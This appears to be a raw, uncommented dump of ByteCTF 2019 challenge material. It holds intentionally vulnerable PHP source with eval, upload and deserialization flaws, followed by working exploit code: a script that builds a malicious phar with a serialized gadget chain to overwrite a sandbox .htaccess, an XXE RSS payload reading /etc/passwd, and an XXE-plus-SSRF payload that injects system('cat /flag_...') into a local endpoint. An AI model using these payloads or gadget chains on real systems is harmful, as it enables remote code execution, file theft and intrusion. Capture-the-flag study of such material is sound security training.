bytectf2019

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;

    function __construct()
    {
        $this->checker = new Admin();
    }
}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $file_error;
    public $content_check;
    public $obj;
    public $filepath;

    function __construct()
    {
        $this->checker = 1;
        $this->size = 1024;
        $this->content_check = new Profile();
    }
}

class Profile{
    public $username;
    public $password;
    public $admin;

    function __construct()
    {
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/76c98b2e4f0f7a9a467bcf459b36ab5c/.htaccess";
        $this->password = ZipArchive::OVERWRITE;
    }
}

@unlink("exp.phar");
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new File();
$phar -> setMetadata($object);
$phar -> stopBuffering();

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=https://view.news.qq.com/index2010/zhuanti/ztrss.xml&order=%24b%2C%24a)%3B%7Dsystem('cat%20%2Fflag_eb8ba2eb07702e69963a7d6ab8669134')%3B%2F%2F" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>